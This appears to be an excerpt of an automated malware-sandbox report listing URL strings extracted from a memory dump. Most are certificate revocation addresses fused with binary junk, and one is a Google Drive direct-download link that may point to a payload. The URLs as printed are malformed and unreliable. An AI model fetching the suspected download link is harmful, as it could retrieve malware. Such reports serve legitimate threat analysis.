"http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;hester1bhv*8tpa2.5.29.12.5.4.30" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0iseris8ssiop=h&j=@*ssiopce" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://drive.google.com/decdasycasycdecddecddecddecddecddecdasycdecddecdasycdecddecddecddecddecdasycdecdcolhtls-server-end-point:e-jp&r" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!connconltcpc" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://drive.usercontent.google.com/download?id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&export=downloadlmemhtls-server-end-point:tls-server-end-point:tls-server-end-point:]